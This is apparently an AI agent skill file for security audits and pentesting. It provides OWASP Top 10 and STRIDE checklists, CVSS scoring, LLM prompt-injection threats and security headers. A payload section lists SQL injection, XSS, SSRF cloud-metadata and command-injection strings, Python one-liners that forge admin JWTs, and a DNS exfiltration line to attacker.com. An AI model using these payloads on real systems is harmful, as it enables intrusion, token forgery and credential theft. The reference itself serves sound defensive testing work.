offensive-security

name	offensive-security
description	Reference skill for security-focused phases (/security, /pentest, /redteam-ai, /harden). Provides OWASP Top 10 checklist, STRIDE threat model, common attack patterns, and exploit classification standards. Load this skill when performing any security audit or generating security-related code reviews.
model	opus
metadata	{"version":"1.0.0","category":"security"}

Offensive Security Reference

OWASP Top 10 (2021) — Quick Checklist

A01 — Broken Access Control

• Horizontal privilege escalation (IDOR) — can user access other users' data?
• Vertical privilege escalation — can user perform admin actions?
• Missing function-level access control on API endpoints
• JWT / session token manipulation
• CORS misconfiguration allowing unauthorized origins
• Force-browsing to authenticated pages

A02 — Cryptographic Failures

• Sensitive data transmitted without TLS
• Weak cipher suites (RC4, 3DES, MD5, SHA-1 for signing)
• Hardcoded secrets / API keys in source code
• Passwords stored without hashing or with weak hash (MD5, SHA-1)
• Insufficient key length (RSA < 2048, symmetric < 128-bit)
• Missing HSTS, certificate pinning for mobile

A03 — Injection

• SQL injection (classic, blind, time-based, out-of-band)
• NoSQL injection (MongoDB $where, $regex)
• OS command injection (exec, shell_exec, system, subprocess)
• LDAP injection
• Template injection (SSTI) — Jinja2, Twig, Handlebars, etc.
• XPath injection
• Log injection / log forging

A04 — Insecure Design

• Missing rate limiting on auth endpoints
• Lack of multi-factor authentication on sensitive operations
• No account lockout policy
• Business logic flaws (negative quantities, price manipulation)
• Insecure password recovery flows

A05 — Security Misconfiguration

• Default credentials on admin panels
• Directory listing enabled
• Debug mode / stack traces exposed in production
• Unnecessary ports/services exposed
• Missing security headers (CSP, X-Frame-Options, X-Content-Type-Options)
• XML External Entity (XXE) processing enabled

A06 — Vulnerable and Outdated Components

• CVEs in direct dependencies (npm audit, pip-audit, composer audit)
• CVEs in transitive dependencies
• End-of-life language runtimes or frameworks
• Container base images with known vulnerabilities

A07 — Identification and Authentication Failures

• Weak password policy
• Credential stuffing / brute force (no rate limiting)
• JWT algorithm confusion (RS256 → HS256, alg:none)
• Insecure session management (predictable IDs, no expiry)
• Session fixation
• OAuth misconfigurations (open redirect, state param missing)

A08 — Software and Data Integrity Failures

• Unsigned package / dependency downloads
• CI/CD pipeline with insufficient integrity checks
• Insecure deserialization (Java, PHP, Python pickle)
• Auto-update without signature verification

A09 — Security Logging and Monitoring Failures

• Authentication events not logged
• Insufficient log detail (no IP, user, timestamp)
• Logs contain sensitive data (passwords, tokens)
• No alerting on brute force / anomalous patterns
• Log injection possible (user input in log messages)

A10 — Server-Side Request Forgery (SSRF)

• User-supplied URLs fetched server-side
• Cloud metadata endpoint reachable (169.254.169.254)
• Internal service URLs accessible via SSRF
• DNS rebinding attacks possible
• Redirect following to internal IPs

---

STRIDE Threat Model

Apply to each architectural component:

Threat	Question to Ask	Mitigation Category
Spoofing	Can an attacker impersonate a user or service?	Authentication
Tampering	Can an attacker modify data in transit or at rest?	Integrity / Signing
Repudiation	Can actions be denied after the fact?	Non-repudiation / Audit logs
Information Disclosure	Can sensitive data leak?	Encryption / Access control
Denial of Service	Can the service be made unavailable?	Availability / Rate limiting
Elevation of Privilege	Can a low-privilege actor gain higher access?	Authorization

---

Common Exploit Patterns

SQL Injection

-- Classic
' OR '1'='1
' OR 1=1 --
' UNION SELECT null, username, password FROM users --

-- Time-based blind
' AND SLEEP(5) --
' AND 1=(SELECT 1 FROM (SELECT SLEEP(5))A) --

-- Boolean blind
' AND 1=1 --   (true)
' AND 1=2 --   (false)

JWT Attacks

# Algorithm confusion: RS256 → HS256 using public key as HMAC secret
python3 -c "
import jwt, base64
pub_key = open('public.pem').read()
payload = {'user': 'admin', 'role': 'admin'}
token = jwt.encode(payload, pub_key, algorithm='HS256')
print(token)
"

# alg:none attack
python3 -c "
import base64, json
header = base64.b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=')
payload = base64.b64encode(json.dumps({'user':'admin'}).encode()).rstrip(b'=')
print(f'{header.decode()}.{payload.decode()}.')
"

XSS Payloads

// Basic
<script>alert(1)</script>

// Attribute injection
" onmouseover="alert(1)

// DOM-based
javascript:alert(document.cookie)

// Filter bypass
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">

SSRF

# Cloud metadata
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/metadata/instance?api-version=2021-02-01

# Internal services
http://localhost:6379/  (Redis)
http://localhost:9200/  (Elasticsearch)
http://localhost:2375/  (Docker API)

# Bypass filters
http://127.0.0.1
http://[::1]
http://0.0.0.0
http://2130706433  (decimal form of 127.0.0.1)

Command Injection

# Linux
; id
| id
`id`
$(id)
& id
&& id

# Blind
; sleep 10
| sleep 10

# Data exfil via DNS
; nslookup $(whoami).attacker.com

---

CVSS v3.1 Quick Scoring

Metric	Values
Attack Vector	Network (N), Adjacent (A), Local (L), Physical (P)
Attack Complexity	Low (L), High (H)
Privileges Required	None (N), Low (L), High (H)
User Interaction	None (N), Required (R)
Scope	Unchanged (U), Changed (C)
Confidentiality	None (N), Low (L), High (H)
Integrity	None (N), Low (L), High (H)
Availability	None (N), Low (L), High (H)

Critical (9.0–10.0) examples:

• Network / Low complexity / No privileges / No interaction / High CIA = 9.8

Use https://www.first.org/cvss/calculator/3.1 for precise scoring.

---

AI/LLM Specific Threats

Prompt Injection Severity Matrix

Scenario	Impact	Severity
Model has no tool access, output is displayed	XSS / content manipulation	Medium
Model has tool access (read files, APIs)	Data exfiltration	High
Model has tool access (write files, exec code)	Full system compromise	Critical
Indirect injection via uploaded files	Depends on tools	High–Critical

Secure LLM Integration Checklist

• User input is never placed in the system prompt
• Model output is HTML-escaped before rendering
• Model output is never passed to eval(), exec(), or SQL
• Tool/function calls are restricted to an explicit allow-list
• Rate limiting applied to inference endpoints
• Sensitive data excluded from model context / RAG corpus
• Output schemas validated before use (structured output)

---

Security Headers Checklist

Content-Security-Policy: default-src 'self'; script-src 'self'
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), microphone=(), camera=()
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Test with: https://securityheaders.com